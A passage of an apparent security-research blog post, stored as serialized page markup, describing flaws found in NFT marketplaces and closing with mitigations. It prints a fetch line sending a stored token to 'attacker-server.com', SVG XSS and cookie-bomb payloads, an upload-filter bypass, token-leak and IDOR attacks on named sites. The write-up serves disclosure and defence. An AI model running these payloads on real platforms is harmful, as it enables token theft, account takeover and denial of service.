stashh.io:",{"type":23,"tag":304,"props":33330,"children":33332},{"className":30611,"code":33331,"language":30613,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[33333],{"type":23,"tag":94,"props":33334,"children":33335},{"__ignoreMap":7},[33336],{"type":23,"tag":314,"props":33337,"children":33338},{"class":316,"line":317},[33339,33344,33348,33353,33358,33363,33367,33372,33376,33381,33385,33390,33394],{"type":23,"tag":314,"props":33340,"children":33341},{"style":332},[33342],{"type":28,"value":33343},"fetch",{"type":23,"tag":314,"props":33345,"children":33346},{"style":338},[33347],{"type":28,"value":341},{"type":23,"tag":314,"props":33349,"children":33350},{"style":1245},[33351],{"type":28,"value":33352},"`https://attacker-server.com/?token_leak=",{"type":23,"tag":314,"props":33354,"children":33355},{"style":321},[33356],{"type":28,"value":33357},"${",{"type":23,"tag":314,"props":33359,"children":33360},{"style":360},[33361],{"type":28,"value":33362},"localStorage",{"type":23,"tag":314,"props":33364,"children":33365},{"style":354},[33366],{"type":28,"value":282},{"type":23,"tag":314,"props":33368,"children":33369},{"style":332},[33370],{"type":28,"value":33371},"getItem",{"type":23,"tag":314,"props":33373,"children":33374},{"style":354},[33375],{"type":28,"value":341},{"type":23,"tag":314,"props":33377,"children":33378},{"style":1245},[33379],{"type":28,"value":33380},"'token'",{"type":23,"tag":314,"props":33382,"children":33383},{"style":354},[33384],{"type":28,"value":431},{"type":23,"tag":314,"props":33386,"children":33387},{"style":321},[33388],{"type":28,"value":33389},"}",{"type":23,"tag":314,"props":33391,"children":33392},{"style":1245},[33393],{"type":28,"value":9630},{"type":23,"tag":314,"props":33395,"children":33396},{"style":338},[33397],{"type":28,"value":1025},{"type":23,"tag":837,"props":33399,"children":33401},{"id":33400},"svgs",[33402],{"type":28,"value":33403},"SVGs",{"type":23,"tag":24,"props":33405,"children":33406},{},[33407],{"type":28,"value":33408},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":23,"tag":24,"props":33410,"children":33411},{},[33412],{"type":28,"value":33413},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":23,"tag":304,"props":33415,"children":33417},{"className":30611,"code":33416,"language":30613,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n alert(document.domain);\n \u003C/script>\n \u003C/svg>\n",[33418],{"type":23,"tag":94,"props":33419,"children":33420},{"__ignoreMap":7},[33421,33467,33504,33511,33541,33573,33601,33609,33625],{"type":23,"tag":314,"props":33422,"children":33423},{"class":316,"line":317},[33424,33429,33434,33439,33443,33448,33453,33457,33462],{"type":23,"tag":314,"props":33425,"children":33426},{"style":354},[33427],{"type":28,"value":33428},"\u003C?",{"type":23,"tag":314,"props":33430,"children":33431},{"style":360},[33432],{"type":28,"value":33433},"xml",{"type":23,"tag":314,"props":33435,"children":33436},{"style":360},[33437],{"type":28,"value":33438}," version",{"type":23,"tag":314,"props":33440,"children":33441},{"style":354},[33442],{"type":28,"value":1102},{"type":23,"tag":314,"props":33444,"children":33445},{"style":1245},[33446],{"type":28,"value":33447},"\"1.0\"",{"type":23,"tag":314,"props":33449,"children":33450},{"style":360},[33451],{"type":28,"value":33452}," encoding",{"type":23,"tag":314,"props":33454,"children":33455},{"style":354},[33456],{"type":28,"value":1102},{"type":23,"tag":314,"props":33458,"children":33459},{"style":1245},[33460],{"type":28,"value":33461},"\"UTF-8\"",{"type":23,"tag":314,"props":33463,"children":33464},{"style":354},[33465],{"type":28,"value":33466},"?>\n",{"type":23,"tag":314,"props":33468,"children":33469},{"class":316,"line":370},[33470,33475,33480,33485,33490,33495,33500],{"type":23,"tag":314,"props":33471,"children":33472},{"style":354},[33473],{"type":28,"value":33474},"\u003C!",{"type":23,"tag":314,"props":33476,"children":33477},{"style":360},[33478],{"type":28,"value":33479},"DOCTYPE",{"type":23,"tag":314,"props":33481,"children":33482},{"style":360},[33483],{"type":28,"value":33484}," svg",{"type":23,"tag":314,"props":33486,"children":33487},{"style":360},[33488],{"type":28,"value":33489}," PUBLIC",{"type":23,"tag":314,"props":33491,"children":33492},{"style":1245},[33493],{"type":28,"value":33494}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":23,"tag":314,"props":33496,"children":33497},{"style":1245},[33498],{"type":28,"value":33499}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":23,"tag":314,"props":33501,"children":33502},{"style":354},[33503],{"type":28,"value":5247},{"type":23,"tag":314,"props":33505,"children":33506},{"class":316,"line":380},[33507],{"type":23,"tag":314,"props":33508,"children":33509},{"emptyLinePlaceholder":18},[33510],{"type":28,"value":1088},{"type":23,"tag":314,"props":33512,"children":33513},{"class":316,"line":1091},[33514,33518,33523,33528,33532,33537],{"type":23,"tag":314,"props":33515,"children":33516},{"style":31623},[33517],{"type":28,"value":7971},{"type":23,"tag":314,"props":33519,"children":33520},{"style":321},[33521],{"type":28,"value":33522},"svg",{"type":23,"tag":314,"props":33524,"children":33525},{"style":360},[33526],{"type":28,"value":33527}," xmlns",{"type":23,"tag":314,"props":33529,"children":33530},{"style":354},[33531],{"type":28,"value":1102},{"type":23,"tag":314,"props":33533,"children":33534},{"style":1245},[33535],{"type":28,"value":33536},"\"http://www.w3.org/2000/svg\"",{"type":23,"tag":314,"props":33538,"children":33539},{"style":31623},[33540],{"type":28,"value":5247},{"type":23,"tag":314,"props":33542,"children":33543},{"class":316,"line":1141},[33544,33548,33553,33557,33561,33565,33569],{"type":23,"tag":314,"props":33545,"children":33546},{"style":31623},[33547],{"type":28,"value":31642},{"type":23,"tag":314,"props":33549,"children":33550},{"style":321},[33551],{"type":28,"value":33552},"title",{"type":23,"tag":314,"props":33554,"children":33555},{"style":31623},[33556],{"type":28,"value":9710},{"type":23,"tag":314,"props":33558,"children":33559},{"style":338},[33560],{"type":28,"value":30487},{"type":23,"tag":314,"props":33562,"children":33563},{"style":31623},[33564],{"type":28,"value":31677},{"type":23,"tag":314,"props":33566,"children":33567},{"style":321},[33568],{"type":28,"value":33552},{"type":23,"tag":314,"props":33570,"children":33571},{"style":31623},[33572],{"type":28,"value":5247},{"type":23,"tag":314,"props":33574,"children":33575},{"class":316,"line":1173},[33576,33580,33584,33588,33592,33597],{"type":23,"tag":314,"props":33577,"children":33578},{"style":31623},[33579],{"type":28,"value":31642},{"type":23,"tag":314,"props":33581,"children":33582},{"style":321},[33583],{"type":28,"value":31663},{"type":23,"tag":314,"props":33585,"children":33586},{"style":360},[33587],{"type":28,"value":31788},{"type":23,"tag":314,"props":33589,"children":33590},{"style":354},[33591],{"type":28,"value":1102},{"type":23,"tag":314,"props":33593,"children":33594},{"style":1245},[33595],{"type":28,"value":33596},"\"text/javascript\"",{"type":23,"tag":314,"props":33598,"children":33599},{"style":31623},[33600],{"type":28,"value":5247},{"type":23,"tag":314,"props":33602,"children":33603},{"class":316,"line":1208},[33604],{"type":23,"tag":314,"props":33605,"children":33606},{"style":338},[33607],{"type":28,"value":33608}," alert(document.domain);\n",{"type":23,"tag":314,"props":33610,"children":33611},{"class":316,"line":1216},[33612,33617,33621],{"type":23,"tag":314,"props":33613,"children":33614},{"style":31623},[33615],{"type":28,"value":33616}," \u003C/",{"type":23,"tag":314,"props":33618,"children":33619},{"style":321},[33620],{"type":28,"value":31663},{"type":23,"tag":314,"props":33622,"children":33623},{"style":31623},[33624],{"type":28,"value":5247},{"type":23,"tag":314,"props":33626,"children":33627},{"class":316,"line":1301},[33628,33633,33637],{"type":23,"tag":314,"props":33629,"children":33630},{"style":31623},[33631],{"type":28,"value":33632}," \u003C/",{"type":23,"tag":314,"props":33634,"children":33635},{"style":321},[33636],{"type":28,"value":33522},{"type":23,"tag":314,"props":33638,"children":33639},{"style":31623},[33640],{"type":28,"value":5247},{"type":23,"tag":24,"props":33642,"children":33643},{},[33644,33646,33653],{"type":28,"value":33645},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":23,"tag":31,"props":33647,"children":33650},{"href":33648,"rel":33649},"https://xtingles.com/",[35],[33651],{"type":28,"value":33652},"xtingles Marketplace",{"type":28,"value":282},{"type":23,"tag":24,"props":33655,"children":33656},{},[33657],{"type":28,"value":33658},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":23,"tag":24,"props":33660,"children":33661},{},[33662],{"type":28,"value":33663},"Below, we show you how we did it.",{"type":23,"tag":24,"props":33665,"children":33666},{},[33667],{"type":28,"value":33668},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":23,"tag":24,"props":33670,"children":33671},{},[33672],{"type":23,"tag":197,"props":33673,"children":33675},{"alt":7,"src":33674},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":23,"tag":24,"props":33677,"children":33678},{},[33679],{"type":28,"value":33680},"After changing the extension inside the file name.",{"type":23,"tag":24,"props":33682,"children":33683},{},[33684],{"type":23,"tag":197,"props":33685,"children":33687},{"alt":7,"src":33686},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":23,"tag":837,"props":33689,"children":33691},{"id":33690},"svgs-return",[33692],{"type":28,"value":33693},"SVGs Return",{"type":23,"tag":24,"props":33695,"children":33696},{},[33697],{"type":28,"value":33698},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":23,"tag":24,"props":33700,"children":33701},{},[33702],{"type":28,"value":33703},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":23,"tag":24,"props":33705,"children":33706},{},[33707],{"type":28,"value":33708},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":23,"tag":304,"props":33710,"children":33714},{"className":33711,"code":33712,"language":33713,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n var Set_Cookie = Array(10000).join('a');\n\n for (var i = 1; i \u003C 99; i++) {\n document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n }\n \u003C/script>\n \u003C/svg>\n","jsx",[33715],{"type":23,"tag":94,"props":33716,"children":33717},{"__ignoreMap":7},[33718,33757,33788,33795,33822,33853,33880,33888,33896,33903,33915,33990,33998,34013],{"type":23,"tag":314,"props":33719,"children":33720},{"class":316,"line":317},[33721,33725,33729,33733,33737,33741,33745,33749,33753],{"type":23,"tag":314,"props":33722,"children":33723},{"style":354},[33724],{"type":28,"value":33428},{"type":23,"tag":314,"props":33726,"children":33727},{"style":360},[33728],{"type":28,"value":33433},{"type":23,"tag":314,"props":33730,"children":33731},{"style":360},[33732],{"type":28,"value":33438},{"type":23,"tag":314,"props":33734,"children":33735},{"style":354},[33736],{"type":28,"value":1102},{"type":23,"tag":314,"props":33738,"children":33739},{"style":1245},[33740],{"type":28,"value":33447},{"type":23,"tag":314,"props":33742,"children":33743},{"style":360},[33744],{"type":28,"value":33452},{"type":23,"tag":314,"props":33746,"children":33747},{"style":354},[33748],{"type":28,"value":1102},{"type":23,"tag":314,"props":33750,"children":33751},{"style":1245},[33752],{"type":28,"value":33461},{"type":23,"tag":314,"props":33754,"children":33755},{"style":354},[33756],{"type":28,"value":33466},{"type":23,"tag":314,"props":33758,"children":33759},{"class":316,"line":370},[33760,33764,33768,33772,33776,33780,33784],{"type":23,"tag":314,"props":33761,"children":33762},{"style":354},[33763],{"type":28,"value":33474},{"type":23,"tag":314,"props":33765,"children":33766},{"style":360},[33767],{"type":28,"value":33479},{"type":23,"tag":314,"props":33769,"children":33770},{"style":360},[33771],{"type":28,"value":33484},{"type":23,"tag":314,"props":33773,"children":33774},{"style":360},[33775],{"type":28,"value":33489},{"type":23,"tag":314,"props":33777,"children":33778},{"style":1245},[33779],{"type":28,"value":33494},{"type":23,"tag":314,"props":33781,"children":33782},{"style":1245},[33783],{"type":28,"value":33499},{"type":23,"tag":314,"props":33785,"children":33786},{"style":354},[33787],{"type":28,"value":5247},{"type":23,"tag":314,"props":33789,"children":33790},{"class":316,"line":380},[33791],{"type":23,"tag":314,"props":33792,"children":33793},{"emptyLinePlaceholder":18},[33794],{"type":28,"value":1088},{"type":23,"tag":314,"props":33796,"children":33797},{"class":316,"line":1091},[33798,33802,33806,33810,33814,33818],{"type":23,"tag":314,"props":33799,"children":33800},{"style":31623},[33801],{"type":28,"value":7971},{"type":23,"tag":314,"props":33803,"children":33804},{"style":321},[33805],{"type":28,"value":33522},{"type":23,"tag":314,"props":33807,"children":33808},{"style":360},[33809],{"type":28,"value":33527},{"type":23,"tag":314,"props":33811,"children":33812},{"style":354},[33813],{"type":28,"value":1102},{"type":23,"tag":314,"props":33815,"children":33816},{"style":1245},[33817],{"type":28,"value":33536},{"type":23,"tag":314,"props":33819,"children":33820},{"style":31623},[33821],{"type":28,"value":5247},{"type":23,"tag":314,"props":33823,"children":33824},{"class":316,"line":1141},[33825,33829,33833,33837,33841,33845,33849],{"type":23,"tag":314,"props":33826,"children":33827},{"style":31623},[33828],{"type":28,"value":31642},{"type":23,"tag":314,"props":33830,"children":33831},{"style":321},[33832],{"type":28,"value":33552},{"type":23,"tag":314,"props":33834,"children":33835},{"style":31623},[33836],{"type":28,"value":9710},{"type":23,"tag":314,"props":33838,"children":33839},{"style":338},[33840],{"type":28,"value":30487},{"type":23,"tag":314,"props":33842,"children":33843},{"style":31623},[33844],{"type":28,"value":31677},{"type":23,"tag":314,"props":33846,"children":33847},{"style":321},[33848],{"type":28,"value":33552},{"type":23,"tag":314,"props":33850,"children":33851},{"style":31623},[33852],{"type":28,"value":5247},{"type":23,"tag":314,"props":33854,"children":33855},{"class":316,"line":1173},[33856,33860,33864,33868,33872,33876],{"type":23,"tag":314,"props":33857,"children":33858},{"style":31623},[33859],{"type":28,"value":31642},{"type":23,"tag":314,"props":33861,"children":33862},{"style":321},[33863],{"type":28,"value":31663},{"type":23,"tag":314,"props":33865,"children":33866},{"style":360},[33867],{"type":28,"value":31788},{"type":23,"tag":314,"props":33869,"children":33870},{"style":354},[33871],{"type":28,"value":1102},{"type":23,"tag":314,"props":33873,"children":33874},{"style":1245},[33875],{"type":28,"value":33596},{"type":23,"tag":314,"props":33877,"children":33878},{"style":31623},[33879],{"type":28,"value":5247},{"type":23,"tag":314,"props":33881,"children":33882},{"class":316,"line":1208},[33883],{"type":23,"tag":314,"props":33884,"children":33885},{"style":338},[33886],{"type":28,"value":33887}," var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":23,"tag":314,"props":33889,"children":33890},{"class":316,"line":1216},[33891],{"type":23,"tag":314,"props":33892,"children":33893},{"style":338},[33894],{"type":28,"value":33895}," var Set_Cookie = Array(10000).join('a');\n",{"type":23,"tag":314,"props":33897,"children":33898},{"class":316,"line":1301},[33899],{"type":23,"tag":314,"props":33900,"children":33901},{"emptyLinePlaceholder":18},[33902],{"type":28,"value":1088},{"type":23,"tag":314,"props":33904,"children":33905},{"class":316,"line":1343},[33906,33911],{"type":23,"tag":314,"props":33907,"children":33908},{"style":338},[33909],{"type":28,"value":33910}," for (var i = 1; i \u003C 99; i++) ",{"type":23,"tag":314,"props":33912,"children":33913},{"style":321},[33914],{"type":28,"value":10129},{"type":23,"tag":314,"props":33916,"children":33917},{"class":316,"line":1351},[33918,33923,33927,33932,33936,33941,33946,33950,33954,33959,33963,33968,33972,33977,33981,33986],{"type":23,"tag":314,"props":33919,"children":33920},{"style":360},[33921],{"type":28,"value":33922}," document",{"type":23,"tag":314,"props":33924,"children":33925},{"style":354},[33926],{"type":28,"value":282},{"type":23,"tag":314,"props":33928,"children":33929},{"style":360},[33930],{"type":28,"value":33931},"cookie",{"type":23,"tag":314,"props":33933,"children":33934},{"style":354},[33935],{"type":28,"value":32159},{"type":23,"tag":314,"props":33937,"children":33938},{"style":1245},[33939],{"type":28,"value":33940},"'Cookie'",{"type":23,"tag":314,"props":33942,"children":33943},{"style":354},[33944],{"type":28,"value":33945}," + ",{"type":23,"tag":314,"props":33947,"children":33948},{"style":360},[33949],{"type":28,"value":2993},{"type":23,"tag":314,"props":33951,"children":33952},{"style":354},[33953],{"type":28,"value":33945},{"type":23,"tag":314,"props":33955,"children":33956},{"style":1245},[33957],{"type":28,"value":33958},"'='",{"type":23,"tag":314,"props":33960,"children":33961},{"style":354},[33962],{"type":28,"value":33945},{"type":23,"tag":314,"props":33964,"children":33965},{"style":360},[33966],{"type":28,"value":33967},"Set_Cookie",{"type":23,"tag":314,"props":33969,"children":33970},{"style":354},[33971],{"type":28,"value":33945},{"type":23,"tag":314,"props":33973,"children":33974},{"style":1245},[33975],{"type":28,"value":33976},"';Domain='",{"type":23,"tag":314,"props":33978,"children":33979},{"style":354},[33980],{"type":28,"value":33945},{"type":23,"tag":314,"props":33982,"children":33983},{"style":360},[33984],{"type":28,"value":33985},"Take_Domain",{"type":23,"tag":314,"props":33987,"children":33988},{"style":354},[33989],{"type":28,"value":2278},{"type":23,"tag":314,"props":33991,"children":33992},{"class":316,"line":1387},[33993],{"type":23,"tag":314,"props":33994,"children":33995},{"style":321},[33996],{"type":28,"value":33997}," }\n",{"type":23,"tag":314,"props":33999,"children":34000},{"class":316,"line":1422},[34001,34005,34009],{"type":23,"tag":314,"props":34002,"children":34003},{"style":31623},[34004],{"type":28,"value":33616},{"type":23,"tag":314,"props":34006,"children":34007},{"style":321},[34008],{"type":28,"value":31663},{"type":23,"tag":314,"props":34010,"children":34011},{"style":31623},[34012],{"type":28,"value":5247},{"type":23,"tag":314,"props":34014,"children":34015},{"class":316,"line":1430},[34016,34020,34024],{"type":23,"tag":314,"props":34017,"children":34018},{"style":31623},[34019],{"type":28,"value":33632},{"type":23,"tag":314,"props":34021,"children":34022},{"style":321},[34023],{"type":28,"value":33522},{"type":23,"tag":314,"props":34025,"children":34026},{"style":31623},[34027],{"type":28,"value":5247},{"type":23,"tag":24,"props":34029,"children":34030},{},[34031],{"type":28,"value":34032},"As a result, we're able to prevent the user from loading images.",{"type":23,"tag":61,"props":34034,"children":34036},{"id":34035},"authentication",[34037],{"type":28,"value":34038},"Authentication",{"type":23,"tag":24,"props":34040,"children":34041},{},[34042],{"type":23,"tag":186,"props":34043,"children":34044},{},[34045,34047,34054],{"type":28,"value":34046},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":23,"tag":31,"props":34048,"children":34051},{"href":34049,"rel":34050},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[35],[34052],{"type":28,"value":34053},"great misfortune has occured",{"type":28,"value":282},{"type":23,"tag":837,"props":34056,"children":34058},{"id":34057},"verification-token-leakage",[34059],{"type":28,"value":34060},"Verification Token Leakage",{"type":23,"tag":24,"props":34062,"children":34063},{},[34064],{"type":28,"value":34065},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":23,"tag":24,"props":34067,"children":34068},{},[34069],{"type":28,"value":34070},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":23,"tag":24,"props":34072,"children":34073},{},[34074,34079],{"type":23,"tag":186,"props":34075,"children":34076},{},[34077],{"type":28,"value":34078},"Proof of Concept",{"type":28,"value":34080},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":23,"tag":24,"props":34082,"children":34083},{},[34084],{"type":28,"value":34085},"Here's the breakdown.",{"type":23,"tag":24,"props":34087,"children":34088},{},[34089],{"type":28,"value":34090},"First, we send the verification link to a user's email:",{"type":23,"tag":192,"props":34092,"children":34093},{"style":194},[34094],{"type":23,"tag":197,"props":34095,"children":34099},{"src":34096,"alt":34097,"style":34098},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":23,"tag":24,"props":34101,"children":34102},{},[34103],{"type":28,"value":34104},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":23,"tag":837,"props":34106,"children":34108},{"id":34107},"idor",[34109],{"type":28,"value":34110},"IDOR",{"type":23,"tag":24,"props":34112,"children":34113},{},[34114],{"type":23,"tag":186,"props":34115,"children":34116},{},[34117,34119,34126],{"type":28,"value":34118},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":23,"tag":31,"props":34120,"children":34123},{"href":34121,"rel":34122},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[35],[34124],{"type":28,"value":34125},"insect",{"type":28,"value":282},{"type":23,"tag":24,"props":34128,"children":34129},{},[34130,34132,34138],{"type":28,"value":34131},"During a security assessment of the ",{"type":23,"tag":31,"props":34133,"children":34136},{"href":34134,"rel":34135},"https://rocki.com",[35],[34137],{"type":28,"value":30534},{"type":28,"value":34139},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":23,"tag":24,"props":34141,"children":34142},{},[34143],{"type":28,"value":34144},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":23,"tag":24,"props":34146,"children":34147},{},[34148],{"type":28,"value":34149},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":23,"tag":24,"props":34151,"children":34152},{},[34153,34155,34161,34163,34168],{"type":28,"value":34154},"Here is an example of a request that modifies another user's social media link to ",{"type":23,"tag":94,"props":34156,"children":34158},{"className":34157},[],[34159],{"type":28,"value":34160},"https://evil.com/",{"type":28,"value":34162},". To achieve this, we simply changed the ",{"type":23,"tag":94,"props":34164,"children":34166},{"className":34165},[],[34167],{"type":28,"value":2742},{"type":28,"value":34169}," field value to one that belongs to another user:",{"type":23,"tag":24,"props":34171,"children":34172},{},[34173],{"type":23,"tag":197,"props":34174,"children":34176},{"alt":7,"src":34175},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":23,"tag":24,"props":34178,"children":34179},{},[34180],{"type":28,"value":34181},"The following screenshot is the response to our request:",{"type":23,"tag":24,"props":34183,"children":34184},{},[34185],{"type":23,"tag":197,"props":34186,"children":34188},{"alt":7,"src":34187},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":23,"tag":61,"props":34190,"children":34192},{"id":34191},"preventative-action-steps-for-marketplaces",[34193],{"type":23,"tag":721,"props":34194,"children":34195},{},[34196],{"type":28,"value":34197},"Preventative Action Steps for Marketplaces",{"type":23,"tag":24,"props":34199,"children":34200},{},[34201],{"type":28,"value":34202},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":23,"tag":24,"props":34204,"children":34205},{},[34206,34208,34214,34216,34222],{"type":28,"value":34207},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":23,"tag":94,"props":34209,"children":34211},{"className":34210},[],[34212],{"type":28,"value":34213},"innerText",{"type":28,"value":34215}," instead of ",{"type":23,"tag":94,"props":34217,"children":34219},{"className":34218},[],[34220],{"type":28,"value":34221},"innerHTML",{"type":28,"value":34223}," in client-side:",{"type":23,"tag":304,"props":34225,"children":34227},{"className":30611,"code":34226,"language":30613,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[34228],{"type":23,"tag":94,"props":34229,"children":34230},{"__ignoreMap":7},[34231],{"type":23,"tag":314,"props":34232,"children":34233},{"class":316,"line":317},[34234,34238,34242,34247,34251,34256,34260,34264,34268,34273],{"type":23,"tag":314,"props":34235,"children":34236},{"style":360},[34237],{"type":28,"value":31955},{"type":23,"tag":314,"props":34239,"children":34240},{"style":338},[34241],{"type":28,"value":282},{"type":23,"tag":314,"props":34243,"children":34244},{"style":332},[34245],{"type":28,"value":34246},"getElementById",{"type":23,"tag":314,"props":34248,"children":34249},{"style":338},[34250],{"type":28,"value":341},{"type":23,"tag":314,"props":34252,"children":34253},{"style":1245},[34254],{"type":28,"value":34255},"'nftCollectionName'",{"type":23,"tag":314,"props":34257,"children":34258},{"style":338},[34259],{"type":28,"value":419},{"type":23,"tag":314,"props":34261,"children":34262},{"style":360},[34263],{"type":28,"value":34213},{"type":23,"tag":314,"props":34265,"children":34266},{"style":354},[34267],{"type":28,"value":1237},{"type":23,"tag":314,"props":34269,"children":34270},{"style":360},[34271],{"type":28,"value":34272}," nftCollectionName",{"type":23,"tag":314,"props":34274,"children":34275},{"style":338},[34276],{"type":28,"value":2278},{"type":23,"tag":24,"props":34278,"children":34279},{},[34280],{"type":28,"value":34281},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":23,"tag":304,"props":34283,"children":34285},{"className":30611,"code":34284,"language":30613,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[34286],{"type":23,"tag":94,"props":34287,"children":34288},{"__ignoreMap":7},[34289],{"type":23,"tag":314,"props":34290,"children":34291},{"class":316,"line":317},[34292,34297,34302,34306,34311,34315,34320,34324,34329],{"type":23,"tag":314,"props":34293,"children":34294},{"style":321},[34295],{"type":28,"value":34296},"var",{"type":23,"tag":314,"props":34298,"children":34299},{"style":360},[34300],{"type":28,"value":34301}," sanitizedInput",{"type":23,"tag":314,"props":34303,"children":34304},{"style":354},[34305],{"type":28,"value":1237},{"type":23,"tag":314,"props":34307,"children":34308},{"style":360},[34309],{"type":28,"value":34310}," DOMPurify",{"type":23,"tag":314,"props":34312,"children":34313},{"style":338},[34314],{"type":28,"value":282},{"type":23,"tag":314,"props":34316,"children":34317},{"style":332},[34318],{"type":28,"value":34319},"sanitize",{"type":23,"tag":314,"props":34321,"children":34322},{"style":338},[34323],{"type":28,"value":341},{"type":23,"tag":314,"props":34325,"children":34326},{"style":360},[34327],{"type":28,"value":34328},"userInput",{"type":23,"tag":314,"props":34330,"children":34331},{"style":338},[34332],{"type":28,"value":1025},{"type":23,"tag":24,"props":34334,"children":34335},{},[34336,34338,34345],{"type":28,"value":34337},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":23,"tag":31,"props":34339,"children":34342},{"href":34340,"rel":34341},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[35],[34343],{"type":28,"value":34344},"Content-Security-Policy",{"type":28,"value":34346}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":23,"tag":24,"props":34348,"children":34349},{},[34350],{"type":28,"value":34351},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":23,"tag":24,"props":34353,"children":34354},{},[34355,34357,34364],{"type":28,"value":34356},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":23,"tag":31,"props":34358,"children":34361},{"href":34359,"rel":34360},"https://www.techtarget.com/whatis/definition/whitelist",[35],[34362],{"type":28,"value":34363},"allow-list",{"type":28,"value":34365}," :",{"type":23,"tag":304,"props":34367,"children":34369},{"className":30611,"code":34368,"language":30613,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n throw new ApolloError('invalid domain');\n}\n",[34370],{"type":23,"tag":94,"props":34371,"children":34372},{"__ignoreMap":7},[34373,34402,34444,34474],{"type":23,"tag":314,"props":34374,"children":34375},{"class":316,"line":317},[34376,34380,34385,34389,34393,34398],{"type":23,"tag":314,"props":34377,"children":34378},{"style":321},[34379],{"type":28,"value":346},{"type":23,"tag":314,"props":34381,"children":34382},{"style":360},[34383],{"type":28,"value":34384}," 